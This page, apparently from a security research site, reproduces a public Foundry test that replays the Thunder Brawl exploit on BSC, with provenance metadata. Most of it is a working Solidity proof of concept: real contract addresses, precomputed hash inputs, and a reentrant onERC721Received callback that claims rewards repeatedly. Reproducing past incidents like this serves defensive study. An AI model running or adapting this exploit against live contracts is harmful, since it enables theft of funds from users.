Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/THB_exp.sol

Public reproduction file for dataset entry Thunder Brawl.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/THB_exp.sol90 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7interface IERC721Receiver {
8 function onERC721Received(
9 address operator,
10 address from,
11 uint256 tokenId,
12 bytes calldata data
13 ) external returns (bytes4);
16interface HouseWallet {
17 function winners(uint256 id, address player) external view returns (uint256);
18 function claimReward(
19 uint256 _ID,
20 address payable _player,
21 uint256 _amount,
22 bool _rewardStatus,
23 uint256 _x,
24 string memory name,
25 address _add
26 ) external;
27 function shoot(
28 uint256 random,
29 uint256 gameId,
30 bool feestate,
31 uint256 _x,
32 string memory name,
33 address _add,
34 bool nftcheck,
35 bool dystopianCheck
36 ) external payable;
39contract ContractTest is Test {
40 HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53);
41 uint256 randomNumber = 12_345_678_000_000_000_000_000_000;
43 uint256 gameId = 1;
44 bool feestate = false;
45 // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate
46 uint256 _x = 2_845_798_969_920_214_568_462_001_258_446;
47 string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS";
48 address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1;
50 bool nftcheck = true;
51 bool dystopianCheck = true;
53 address payable add = payable(address(this));
54 bool _rewardStatus = true;
55 // sha256(abi.encode(_x, name, _add)) == hashValue maybe off-chain calculate
56 uint256 _x1 = 969_820_990_102_090_205_468_486;
57 string name1 = "WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME";
59 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
60 IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract
62 function setUp() public {
63 cheats.createSelectFork("bsc", 21_785_004);
64 }
66 function testExploit() public {
67 emit log_named_uint("Attacker THBR balance before exploit", THBR.balanceOf(address(this)));
69 houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck);
70 uint256 _amount = houseWallet.winners(gameId, add);
71 houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);
73 emit log_named_uint("Attacker THBR balance after exploit", THBR.balanceOf(address(this)));
74 }
76 receive() external payable {}
78 function onERC721Received(
79 address _operator,
80 address _from,
81 uint256 _tokenId,
82 bytes calldata _data
83 ) external payable returns (bytes4) {
84 uint256 _amount = houseWallet.winners(gameId, add);
85 if (address(houseWallet).balance >= _amount * 2) {
86 houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);
87 }
88 return this.onERC721Received.selector;
89 }

Analysis

Dataset entry

Public Foundry test for “Thunder Brawl” (2022-10-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Thunder Brawl
Path
src/test/2022-09/THB_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a58bc0711c8476b3df47028585417535b0ddaf72
Language
Solidity
Size
91 lines
Date
2022-10-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/THB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a58bc0711c8476b3df47028585417535b0ddaf72, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.